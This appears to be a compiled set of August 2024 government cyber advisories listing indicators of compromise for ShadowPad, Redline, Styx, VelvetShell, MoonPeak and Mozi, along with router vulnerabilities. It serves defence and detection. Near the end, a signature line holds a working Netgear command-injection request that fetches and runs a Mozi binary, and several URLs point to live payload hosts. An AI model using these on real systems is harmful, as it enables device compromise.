11eaac202e20522a1014dcc19a78cd8d865b038926e235f258f6b7137ea5a53a

ceab6d10d6b6d98a0318a74a346afa7c83e1d84b167e838d0cb7c8aa7fb3de9c

dbf85bea14fff1c0941bd5977ae5b8d0fd92cb708c89859b6c8601d5cfb19056

61e4a38988451388b242f78c8397737c8fbe8a8c76a97ec2cc82f1b5baf80302

8910b98e77307148c4e9a32bac672c720e36311d2dd611708cb8b5e50d328d07

52743c24aa5d7a7857d5094073901c818d933f012a0ecba0bd0364bdf3565f47

ee607d5e87423ce4e7186b2cc710afdcff6299381ecccb6c4ba76357d6e5793c

a602911fe092d22da252bc68ff6d70e5bc97fa83e74a6edccaa6ef0d43a670b4

635e8fbf26afbb76beedce48944ba7baef48639bbeca954423e1a732aa453f8d

32fc1caafe8f3a94b375496735d8efdd512641d186fe59d8e49ffc8a773364b5

33dd5196b94d49786492a68ec16f2d3dc75451b21fc42a0ad418af679e552242

9c268d82034f23cf727da90924a2e07050c3270f68839a10659b459e1e9fdcec

327821af43aef94e6d35f5ff8cec77ef17b457700bfe04c1dc4b94cb70dc074f

6f6de7227f1b0580e5306379bd6c6c18a836c527ccc6bce84f9aa863c22d82cb

3e59bb1b4e84d1053c47a60c078c11771532b8665f49e65359121a65f2d2d429

469ff2391f742e32e39d590d7a56636ff3f822a9483299bb65dc5441966d4040

505fd32abb0a683d3325d59d289a54afb00b62c2228420278fa92d89b7ed646e

f0033ad8bf8e37a95fb5f4196ffad81bdd18665831d5543980cc17b1764bc6fe

8bf17a5138a8f9b6b69da0703f57778dfbdc950eb82ecd2f9d585db537bf3355

5e0905b6aca6aadd30efb0b87ac67fca07838e365f244bb1859c9995eded2ef5

9e35c9b424f52f88fbc5776a805ffb02b2e51bee872a10243a615eb92feb7470

cfabaebdfa3e3a73d9c4d5414edbc92d04b129184d534e658249e3584ea607df

4ff41322433a5c0e11d191a9e3871fba303e21dd2fc82a90b719297faab871b5

ee370565b07606657353f3e071786af5b062d1475db41fae8ec150a1010d2f7b

e0d95c0f2d41a7e6be3ae3dd39c186906eaade06d31f2cd9630b340365acfa5c

42b907fe826c23a8d1a0091d462b66eb846e6c1a57f026f266f3dd761da2e5a6

faf6d2959a4fc8c67a563b62b3ac87db9855875a6004547639a34033ddaf2182

6524b0719b106ad229435b08ad7ed1f2fbb03f82e532db355fdcf8bcad5b51be

7ed9d38db3e85cb6e3971afdaaadb11cb5451c27adc5d68da40120a4b67499e2

c2c84ed4e9df12c77ed767c39042743b9cecd861eb6d5d2787d645fedfd6e522

26008e632bf192c076fd1152d088031b1d9ffe711dd11d5c9fc320db74a8bcc0

608764af9d846ac56a5be4167e2f1ef36eac6442b100b12a98e40883cde43a7e

328519d94c3d090c8ca9b7cceba25c3e103d274b4e7472f7023be80e54905f3a

fe092036066774d4832863a386cb78984d5f388fc8058751816e29b02ee4a158

0f4a2a201c90348ce9231f2f43fae857f341b647da17b5cd1f8656537a6ac331

643da931bfd6a74bc90abba2af182ed24d8efe656019df91dea8465451e1926b

e249706b5fa72eda7f500d6fa269cd35932187b21148ff00fb09fb9e308a0045

0f60b4f2251599903cc07bb29eb95941eaa3535c4a0a2c126b2de1e8e9e3e083

2c91a575af5b278ee9d22a98106851910f9bb8d40b9b8aa9ae1f09d4b0e7b582

dd33552da3e2a5e290b8fc7e497071cba13a3ff4ad1e8d598d1d082dbfb06477

df5b4a5bf9f7272932839f2401cfc094977143c7650c44adc92449e7bc1b7875

3e5dd2f45f3e636eb789cf0eeeb40cd8f2287c940fb85df7cc935822b22a92ab

d4c68087ee084ad13fffb095a6a24bbf5941bea32d6a5bc5bcb27dc776d1cc53

765ea3f4f0e4ce3a0b8438cdf085df3d2e67307701422b3b3740aa4cc80c6eb6

0de7163ee1093533a486912e601a61ead59e330ad4c129ae2df4e33971adaa41

c3b804b4609f9bf5559e06abf88c6a9dc1f9244471a9c0d42c2aeebbcc1f2693

f12e4541e835920ecb208df0b05f01131de384218ecf37b46f552b9712167816

55948e86cf5d60df3af37b5b2b883e6ec1c5d88b169e6c6ebc0da446f25422da

775a249bf56bdaee9c8002e18592127147cd70bc4fe9e4b034aeda43160c3fcc

a8907d08541fa6e38ef83aa2ca284fbdecff50661af8b38e5aee576ed5b44a0b

a0bfddd05ac731ea62795cb500afa9e46d626c7a7b2f4e53540759ede59dc4be

b44b44193c04b9c62d3d8f4290da52fd0ed3cfa4d0fde15750200d1689b1585b

5401b9933e869fc2b6da998757c37e7119b01e20ba0a820ebca2519de7dfea0c

3091d640039a5ed25125a006a4cc2cdb36b68a287d3ffbcd90106661ef05fc6c

396de3c4587363b0f46ae8bf1f883e47427f7023926b54d46086368d40649d4f

**C2:**

http://daugiavn.online//well-known/updates/identity.php

http://www.musco-thailand.com/php\_bill/actions.php

https://dmcfu.ir/wp-content/themes/wp-mail/

https://euodiadesign.co.za/files/invoice/identity.php

https://fragrance11.com/newsletter/phpoffice/actions.php

https://fusidigital.com/homepages/identity.php

https://myskincareclub.com/font.php

https://sysquare.com/vendor/phpmailer/office\_secure/

https://sysquare.com/vendor/phpmailer/office\_secure/valid/

https://wpartners.sa/files/actions.php

https://wpartners.sa/files/invoice/actions.php

https://wpartners.sa/files/invoice/identity.php

https://www.essal.opencart3.const-tech.biz//vendor/phpdocumentor/office/identity.php

https://www.termelo-iskola.hu//wp-content/office\_secure/

https://www.termelo-iskola.hu/wp-content/themes/vantage/js/office\_secure/

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-MAW-2024-08-27-022**

Reference is made to earlier advisories on the Shadowpad Malware.  
  
Presence of malicious IoCs found in Indian Cyberspace related to Shadowpad Malware.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IPs:**  
  
65.20.90.139  
139.180.188.54

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-RAN-2024-08-27-011**

It has been observed that an unknown ransomware variant is targeting Critical Information Infrastructures (CIIs).

Ransomware is a type of malware that holds a victim's sensitive data or device hostage, threatening to keep it locked—or worse—unless the victim pays a ransom to the attacker.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IP:**

83.97.73.214

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-PHI-2024-08-27-005**

It has been observed that adversaries are targeting government personnel using spoofed/compromised email IDs, malicious domains, Phishing web pages and Vishing techniques. The email contains a hyperlink of Google Drive with the title "Revised Policy in context of threat alert 1307/js". This malicious file is Password Protected and password is mentioned in the email content. Upon clicking the hyperlink, it downloads an archive file. Upon extraction, the archive file extracts a Control Panel File (CPL) file from Windows Operating System. On double-clicking, the CPL file executes a malicious DLL file.

The file performs following functions:

* Execution  (Scripting, Power Shell)
* Privilege Escalation ( DLL side Loading, Hijack Execution Flow )
* Defense Evasion (Masquerading, Virtualization/Sandbox Evasion, Disable or Modify Tools, DLL side Loading, Rundll32, Software Packing,Reflective Code Loading,Obfuscated Files or Information,Software Packing,  System Binary proxy Execution, System Check, Impair Defenses, Hijack Execution Flow)
* Discovery (Security Software Discovery, Process Discovery, System Information Discovery, Account Discovery, File and Directory Discovery, Virtualization/Sandbox Evasion, File and Directory discovery, Virtualization/Sandbox Evasion, System Checks)
* Command and Control  (Application Layer Protocol)
* Credential (Input Capture)
* Persistence (DLL Side-Loading, Hijack Execution Flow)
* Collection  (Input Capture)

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Hashes:**

c375c9ddee439e9ecb40875affbf7d12

730f708f2788fc83e15e93edd89f8c59

ca607e3645ca11c7505d5eae9716d540697854d6

549d80d0d2c3e2cf3ea530f37bfc0b9fe0cbd5f4

703e645845b3b5759943f119822e3f3ca6409bcdf8c69af8218c4e2baabd1b85

06d9662572a47d31a51adf1e0085278e0233e4299e0d7477e5e4a3a328dea9d1

**IPs:**

195.35.38.44

**Filenames:**

Threat Alert 1307-JS-9.pdf issued vide NATRAD note number 2511 CLKj dated 10 Aug 2024 in aspect of excercise Tarang Shakti-2024 .pdf (1).rar

Threat Alert 1307-JS-9.pdf issued vide NATRAD note number 2511 CLKj dated 10 Aug 2024 in aspect of excercise Tarang Shakti-2024 .pdf (1).cpl

**Domain:**

Admin-Support.in

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-MAW-2024-08-27-023**

It has been observed that Styx Stealer, a successor to the older Phemedrone Stealer, has emerged as a powerful information-stealing malware. Adversary can extract browser data, cryptocurrency wallet details, and instant messenger conversations from platforms like Telegram and Discord.

Styx Stealer has the following advanced features:

* Auto-start functionality,
* Clipboard monitoring,
* Cryptocurrency wallet clipping
* Improved anti-analysis techniques
* Capability to transmit data via Telegram

**Distribution Methods:**Spread through spear phishing emails.

**Tactics, Techniques, and Procedures (TTPs):**

T1033 (System Owner/User Discovery)

T1016 (System Network Configuration Discovery

T1518.001 (Security Software Discovery)

T1071.001 (Web Protocols)

T1555.003 (Credentials from Web Browsers)

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**HASHES:**

019b1767e76539b91fdb7f3feb76457f8ca509dec83bbb0ecddbe49139da25a3

9ea494b525c4676e63f943e2d1dba751c377b9138613003c80d14ddfaed6883e

**DOMAIN:**

styxcrypter.com

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **VA-2024-08-28-008**

Microsoft released updates to address multiple vulnerabilities in its products for the month of Aug 2024. However, Microsoft provides patch information in the form of Knowledge Base (KB) Articles that are associated with one or more CVEs.

Please find below link for the monthly CVE - KB Correlation list of Aug 2024 for your perusal and necessary action.

https://nciipc.gov.in/advisories/CVE/CVE-KB/2024/Aug.html

1. **TA-MAW-2024-08-28-025**

It has been observed that Redline Stealer, a sophisticated information-stealing malware, has the ability to exfiltrate sensitive data from infected systems. Adversary is primarily targeting personal and financial information. The malware is distributed through phishing campaigns, malicious downloads and exploit-kits hosted on compromised or malicious websites.

**Impacts:**

* Stolen credentials are traded on underground forums and dark web marketplaces for purchase by other cybercriminals. Cybercriminals use stolen credentials to gain unauthorized access to networks, email accounts, and other sensitive systems, often as a precursor to more severe attacks like ransomware or data breaches.
* Personal Information Loss.
* The malware can download and execute additional malicious software, granting attackers control over the system.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IP Address:**

185.196.9.26

185.215.113.22

20.52.165.210

185.215.113.67

89.23.101.114

45.66.231.214

147.45.44.56

147.45.44.16

91.92.249.167

89.23.97.185

88.99.151.68

77.105.164.59

207.148.69.28

147.45.44.139

5.189.138.247

185.215.113.25

5.42.92.213

178.23.190.118

176.111.174.140

103.249.201.12

91.92.240.171

45.140.147.183

38.180.147.152

95.217.124.248

65.108.21.23

94.131.106.53

31.177.108.40

91.92.242.175

51.89.205.200

185.215.113.9

52.143.157.240

51.195.145.80

23.41.187.30

147.45.47.36

5.42.92.213

135.181.10.210

178.63.237.121

103.211.207.57

91.92.248.194

193.233.255.34

45.9.91.71

194.163.130.75

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-MAW-2024-08-28-024**

It has been observed that VelvetShell is a malware which is a hybrid customized version of two open-source tools, namely "TinyShell" (a Unix backdoor) and "3proxy" (a proxy tool). The malware is used by an APT group called "Velvet Ant". Once the malware is deployed, it enables remote access, file uploads, and further code execution while evading detection by standard security tools.

The malware has exploited a zero-day vulnerability (CVE-2024-20399) in Cisco switches to deploy custom malware, gaining deep control over compromised systems for both data exfiltration and persistent access. It also allowed attackers with valid admin credentials to escape the NX-OS command line interface and execute commands on the underlying Linux operating system. Before deploying VELVETSHELL by injecting a malicious library into legitimate processes, the "Velvet Ant" APT group conducts reconnaissance through extended ping commands and network path mapping.

**Impacts:**

* Data Theft and exfiltration : It can steal sensitive information, including personal data, financial records, and intellectual property, leading to potential identity theft or financial loss.
* System Compromise: The malware can gain unauthorized access to systems, allowing attackers to manipulate or damage files, disrupt operations, and compromise system integrity.
* Espionage: It can be used for spying on individuals or organizations, gathering confidential information, and conducting surveillance without the victim’s knowledge.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IPs:**

202.61.136.158

103.138.13.31

**HASHES:**

d663b323d132a3c811bb53a48a686ea85c6bf8faeef3b48dfa93528be8f4133b

9a7a24b1c785b3c7c39f7e33e99897290165693dea1f46ed4f3c7919aef93928

75fa71e65344b61a80f0e598349b735912be39d04a7e2159748423bd860d3454

be852d7a59ba168d93eb975fbed652617046433e6fdc177d0087331f9a095f02

0acc25396ef78c00631c64df538678a323982115bafbfa7487a4370d4b4129ac

859c823eb3e7420e0db234ba224764faa62d391bddd25e9ad415b11d853741f9

9b9d2da73b510276d38d1698f3b87671958e338b40230e6a004ccaf3dcceb03b

b4d71b0ac0bc1495789501f9afce6f950b601a36c0836534294640f2db6b2f40

3a6a5b1d76dfcac5920e6e9163c08543304ba013425eb2c2e64071b15d26996e

bdf8a8c7f0298484dc95895dbddf367689ca361618453597129343838b94debb

7c9336afd7530576b6a0f2e978b36955e8f264fee429d810309ce157a4918aaa

c456747731141c2ea0f8e69f89193e8bb823da4667527fe90b614b97f1d425ae

55d6c4a95b5172ea47381ab66ea9ea37fa0afb53b9bb10a1d752ac4acc8f6cd4

527df166af23cd0d139ebad9d219f125137b5a7b619fa50e5e245ccaf8c0b7d6

4965f809b71ffb71fe8456d88dcd0a80a99fa6aa4ffd6ba96e1a1d810d41bbd0

b5aa86fd97624a317945d110541a07fc80b83dd960fbf16642720fc275d8f04f

9092cdd52109531f9f58c28bda25b0c3f82d9bd2d261ce5fcb0137873dbb0868

bcbc3184756a6cacfd5ca2b879708cfd015e84050c9b9ede096cfb70282f870c

febe116a87860e42bbcfd7c6e2c710446f33bdacc56e990f69493837c01f1059

7e118a6c4d6f162d8c6a53faf972bd3e675da7f9d0a0b67a1988b4e2102ebb53

cc48a02f06066a37c90d063b6d28ae17d9503e4ba6df69aef1b55b5fa5a5ff48

562974ea1325a88c916a55719fb9263eb6c710ba281fdee4ba7e9a98a3f4a5a8

92b2535373e55b16b6f3b2d134a1d5545e837d3c19fff4cead4e92558e302b6e

a9556cc05422cae960e36f76eeff7168b8e3cfeb16a20855a93d4f2ed4a65a8b

821d0cdc3e8a735976045ecb1afd1c0170bf39701d2da118b9533a45383a9ebe

436f35dc69bbe7cb8cf5430b52c3aedace099730245de57e004dc1f6531ae262

13f3c05cc348ecb47c4e86d1fb522fdf499a6fb23e0cc6370f4618137f055b04

3d9aaac0a8e5c7eadd79d8d5c16119d04f4e9db7107fc44a1e32a8746a1ec375

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-MAW-2024-08-28-026**

It has been observed that MoonPeak, a variant of the open-source remote access Trojan (RAT) XenoRAT, is utilized by the threat group UAT-5394. This campaign involves a PowerShell script that downloads a malicious RTF file from a remote host. The script alters the RTF file's header to transform it into a GZIP file containing the MoonPeak malware, which is then executed. Once executed, MoonPeak establishes communication with a command-and-control (C2) server to receive further instructions and carry out malicious activities on the victim's machine.

**Impacts:**

* Steal Sensitive Information
* Provide remote access of machine

**\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\***

**IPs:**

167.88.173.173

95.164.86.148

80.71.157.55

84.247.179.77

45.87.153.79

45.95.11.52

104.194.152.251

27.255.81.118

212.224.107.244

27.255.80.162

210.92.18.169

91.194.161.109

**HASHES:**

0b8897103135d92b89a83093f00d1da845a1eae63da7b57f638bab48a779808e

2b35ef3080dcc13e2d907f681443f3fc3eda832ae66b0458ca5c97050f849306

4108c5096a62c0a6664eed781c39bb042eb0adf166fcc5d64d7c89139d525d4f

44e492d5b9c48c1df7ef5e0fe9a732f271234219d8377cf909a431a386759555

4599a9421e83fb0e2c005e5d9ac171305192beabe965f3385accaf2647be3e8e

58fdc1b6ce4744d6331f8e2efc4652d754e803cae4cc16101fc78438184995e6

97ba8d30cf8393c39f61f7e63266914ecafd07bd49911370afb866399446f37d

a80a35649f638049244a06dd4fb6eca4de0757ef566bfbe1affe1c8bf1d96b04

b8233fe9e903ca08b9b1836fe6197e7d3e98e36b13815d8662de09832367a98a

f4aa4c6942a87087530494cba770a1dcbc263514d874f12ba93a64b1edbae21c

facf3b40a2b99cc15eee7b7aee3b36a57f0951cda45931fcde311c0cc21cdc71

0ed643a30a82daacecfec946031143b962f693104bcb7087ec6bda09ade0f3cb

41d4f7734fbf14ebcdf63f51093718fd5a22ec38a297c0dc3d7704a3fb48b3f9

6a3839788c0dafe591718a3fb6316d12ccd8e82dbcb41ce40e66b743f2dd344d

148c69a7a1e06dc06e52db5c3f5895de6adc3d79498bc3ccc2cbd8fdf28b2070

1ad43ddfce147c1ec71b37011d522c11999a974811fead11fee6761ceb920b10

458641936e2b41c425161a9b892d2aa08d1de2bc0db446f214b5f87a6a506432

8a4fbcdec5c08e6324e3142f8b8c41da5b8e714b9398c425c47189f17a51d07b

293b1a7e923be0f554ec44c87c0981c9b5cf0f20c3ad89d767f366afb0c1f24a

6bf8a19deb443bde013678f3ff83ab9db4ddc47838cd9d00935888e00b30cee6

72a25d959d12e3efe9604aee4b1e7e4db1ef590848d207007419838ddbad5e3f

15eee641978ac318dabc397d9c39fb4cb8e1a854883d8c2401f6f04845a79b4b

3e39fc595db9db1706828b0791161440dc1571eaa07b523df9b721ad65e2369b

f928a0887cf3319a74c90c0bdf63b5f79710e9f9e2f769038ec9969fcc8ee329

27202534cc03a398308475146f6710b790aa31361931d4fe1b495c31c3ed54f7

**DOMAIN:**

nsonlines.store

yoiroyse.store

pumaria.store

nmailhostserver.store

**\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\***

1. **VA-2024-08-28-009**

**Vulnerability in Tenda**

Stack overflow vulnerability has been discovered in Tenda. The affected version is Tenda AX1806 v1.0.0.1.

CVE ID: CVE-2024-44557 (Critical)

**Vulnerability in FAST**

A stack overflow vulnerability has been discovered in FAST that allows to execute arbitrary code or can cause a Denial of Service (DoS) via a crafted file path. The affected version is FAST FW300R v1.3.13 Build 141023 Rel.61347n.

CVE ID: CVE-2024-41285 (Critical)

**Vulnerability in TOTOLINK**

A hard-coded credentials vulnerability has been discovered in TOTOLINK. The affected version is TOTOLINK T10 AC1200 4.1.8cu.5207.

CVE ID: CVE-2024-8162 (Critical)

**SonicWall Security Updates**

SonicWall has released security updates to address an improper access control vulnerability in SonicWall SonicOS management access. The affected versions are SonicWall Firewall Gen 5 and Gen 6 devices, as well as Gen 7 devices running SonicOS 7.0.1-5035 and older versions.

CVE ID: CVE-2024-40766 (Critical)

**Security Update of Favicon Generator Plugin for WordPress**

A Cross Site Request Forgery (CSRF) vulnerability has been discovered in the Favicon Generator plugin for WordPress in versions up to and including 1.5. Security update is available.

CVE-ID: CVE-2024-7568 (Critical)

**Vulnerability in D-Link**

A command execution vulnerability has been discovered in D-Link. The affected version is D-Link DI\_8004W 16.07.26A1.

CVE-ID: CVE-2024-44382 (Critical)

**Vulnerability in D-Link**

A command execution vulnerability has been discovered in D-Link. The affected version is D-Link DI\_8004W 16.07.26A1.

CVE-ID: CVE-2024-44381 (Critical)

**Security Update of Favicon Generator Plugin for WordPress**

A Cross Site Request Forgery (CSRF) vulnerability has been discovered in the Favicon Generator plugin for WordPress in versions up to and including 1.5. Security update is available.

CVE-ID: CVE-2024-7568 (Critical)

**Vulnerability in D-Link**

A command execution vulnerability has been discovered in D-Link. The affected version is D-Link DI\_8004W 16.07.26A1.

CVE-ID: CVE-2024-44382 (Critical)

**Vulnerability in D-Link**

A command execution vulnerability has been discovered in D-Link. The affected version is D-Link DI\_8004W 16.07.26A1.

CVE-ID: CVE-2024-44381 (Critical)

1. **TA-MAW-2024-08-29-027**

Based on analysis, please find below malicious IoCs targeting Critical Information Infrastructures (CII). Consider life span for malicious IP addresses at least 14 days.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IP Addresses:**

103.199.200.127

103.121.174.201

59.183.139.54

175.107.2.128

94.156.66.26

45.115.89.12

222.139.225.100

175.107.1.183

117.211.248.202

172.38.0.15

120.61.87.107

91.92.242.155

91.92.241.244

91.92.244.16

222.138.20.64

117.219.186.192

103.121.174.205

112.94.97.62

154.213.185.140

120.85.116.210

49.143.154.202

150.246.180.145

103.158.96.10

210.87.69.1

144.24.147.138

141.98.11.179

91.92.252.25

122.199.88.182

27.43.207.115

59.151.223.107

59.151.213.180

120.86.236.102

119.56.144.14

102.23.122.103

59.99.139.61

45.230.66.133

83.219.1.198

123.188.74.70

125.43.11.88

120.86.254.7

185.224.128.59

117.219.41.70

160.119.158.237

117.245.94.71

117.248.165.161

188.253.7.42

176.149.183.71

175.107.0.69

59.92.45.172

42.224.24.228

27.43.207.180

117.248.171.78

59.89.235.74

59.97.114.181

115.55.131.147

122.96.31.110

125.43.24.238

117.221.248.150

154.216.18.237

107.189.14.198

103.245.236.146

102.33.109.29

115.58.134.94

61.53.116.212

60.246.224.44

121.239.8.37

117.253.10.209

61.1.238.50

123.5.156.1

125.41.222.20

94.242.171.179

27.43.206.140

103.161.35.111

117.253.213.166

198.7.125.25

117.219.169.79

120.85.183.25

114.199.173.16

112.248.62.164

45.230.66.144

117.198.29.2

59.182.112.64

117.219.182.116

120.211.137.177

123.9.48.197

125.161.159.43

134.209.69.225

117.219.174.189

208.65.87.151

157.230.213.39

219.133.100.216

219.133.101.109

46.32.172.224

182.112.227.129

117.20.193.70

61.1.237.237

125.26.174.129

202.168.86.253

117.200.200.56

120.86.254.103

182.119.14.18

113.24.145.116

27.75.114.244

61.1.227.236

117.195.175.141

1.81.206.92

42.98.162.39

219.155.72.62

59.183.130.224

175.5.36.217

117.255.179.251

47.236.50.27

117.248.172.117

45.230.66.147

178.47.92.76

59.183.36.186

117.223.11.98

113.238.173.110

49.143.140.106

103.197.113.25

220.158.159.228

120.85.113.122

157.231.51.20

122.96.31.48

51.161.212.158

102.51.11.55

103.14.226.142

176.97.210.238

204.76.203.254

**URLs:-**

http://103.199.200.127:33458/Mozi.m

http://103.121.174.201:56542/Mozi.m

http://59.183.139.54:53381/Mozi.m

http://175.107.2.128:43624/Mozi.m

http://94.156.66.26/r

http://45.115.89.12:32938/Mozi.a

http://222.139.225.100:57568/Mozi.m

http://175.107.1.183:39930/Mozi.m

http://117.211.248.202:42250/Mozi.m

http://172.38.0.15:45109/Mozi.m

http://120.61.87.107:37213/Mozi.m

http://91.92.242.155/most-mips

http://91.92.241.244/ducky

http://91.92.244.16/bins/slave.mips

http://222.138.20.64:47509/Mozi.m

http://117.219.186.192:47824/Mozi.m

http://59.99.139.61:39736/Mozi.m

http://45.230.66.133:11897/Mozi.m

http://83.219.1.198:56743/Mozi.m

http://123.188.74.70:36109/Mozi.m

http://125.43.11.88:51910/Mozi.m

http://154.216.18.237:88/j

http://107.189.14.198/Yboats.x86

http://117.219.41.70:36409/Mozi.m

http://160.119.158.237:59526/Mozi.m

http://117.245.94.71:47443/Mozi.m

http://117.248.165.161:44144/Mozi.m

http://188.253.7.42/bins/bins.sh

http://103.245.236.146/huhu.mips

http://175.107.0.69:43240/Mozi.m

http://59.92.45.172:43620/Mozi.m

http://42.224.24.228:52744/Mozi.m

http://117.248.171.78:35309/Mozi.m

http://59.89.235.74:50783/Mozi.m

http://59.97.114.181:49985/Mozi.m

http://115.55.131.147:53559/Mozi.m

http://102.33.109.29:35474/Mozi.m

http://125.43.24.238:36143/Mozi.m

http://117.221.248.150:54626/Mozi.m

http://115.58.134.94:57464/Mozi.m

http://61.53.116.212:38286/Mozi.m

http://60.246.224.44:37508/Mozi.m

http://121.239.8.37:42430/Mozi.m

http://117.253.10.209:47660/Mozi.m

http://61.1.238.50:45286/Mozi.m

http://123.5.156.1:37380/Mozi.m

http://125.41.222.20:53119/Mozi.m

http://94.242.171.179:56350/Mozi.m

http://117.253.213.166:33769/Mozi.m

http://117.219.174.189:57602/Mozi.m

http://112.248.62.164:59746/Mozi.m

http://45.230.66.144:11649/Mozi.m

http://117.198.29.2:57328/Mozi.m

http://59.182.112.64:41883/Mozi.m

http://117.219.182.116:48004/Mozi.m

http://120.211.137.177:44317/Mozi.m

http://123.9.48.197:56435/Mozi.m

http://125.161.159.43:39379/Mozi.m

http://94.156.66.26

http://208.65.87.151/bins/x86

http://182.112.227.129:38194/Mozi.m

http://61.1.237.237:41342/Mozi.m

http://125.26.174.129:56961/Mozi.m

http://117.200.200.56:59859/Mozi.m

http://182.119.14.18:56009/Mozi.m

http://113.24.145.116:35483/Mozi.m

http://61.1.227.236:36361/Mozi.m

http://117.195.175.141:47681/Mozi.m

http://42.98.162.39:40813/Mozi.m

http://219.155.72.62:57600/Mozi.m

http://59.183.130.224:59511/Mozi.m

http://117.255.179.251:58630/Mozi.m

http://117.248.172.117:55274/Mozi.m

http://178.47.92.76:56008/Mozi.m

http://59.183.36.186:54778/Mozi.m

http://117.223.11.98:53679/Mozi.m

http://113.238.173.110:41497/Mozi.m

http://220.158.159.228:34940/Mozi.m

http://102.51.11.55:37595/Mozi.m

http://103.14.226.142/shk

http://176.97.210.238/shk%3B

http://188.253.7.42/bins/bins.sh%20-O-%7Csh

http://204.76.203.254/bins/x86

http://46.32.172.224:10151/Mozi.a

http://91.92.241.244

**Signatures:**

/setup.cgi?next\_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/\*;wget+http://103.199.200.127:33458/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1

